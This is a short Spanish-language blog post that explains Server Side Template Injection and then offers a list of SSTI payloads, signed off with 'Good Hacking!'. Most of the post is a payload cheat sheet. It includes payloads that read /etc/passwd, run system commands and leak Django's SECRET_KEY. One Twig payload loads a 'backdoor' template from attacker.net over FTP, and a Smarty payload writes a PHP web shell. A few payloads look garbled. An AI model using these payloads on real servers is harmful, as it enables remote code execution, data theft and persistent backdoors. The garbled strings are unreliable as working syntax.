SSTI (Server Side Template Injection)

SSTI (Server Side Template Injection)

La inyección de plantillas en el lado del servidor (SSTI, por sus siglas en inglés, Server Side Template Injection) es una vulnerabilidad que ocurre cuando un atacante puede inyectar y ejecutar código arbitrario en una plantilla en el servidor. Esto puede suceder en aplicaciones web que utilizan sistemas de plantillas para generar contenido dinámico.

Los ataques de SSTI son similares a los ataques de inyección de código, pero en lugar de inyectar y ejecutar código en el contexto de un lenguaje de programación, el código se inyecta en una plantilla que luego se interpreta y ejecuta en el servidor. Esto puede conducir a una amplia gama de problemas de seguridad, incluida la ejecución de comandos arbitrarios en el servidor, el acceso no autorizado a datos sensibles, la escalada de privilegios y más.

Aquí tienes algunos payloads bastantes interesantes. ¡Good Hacking!

Generic

${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP

{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python

{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *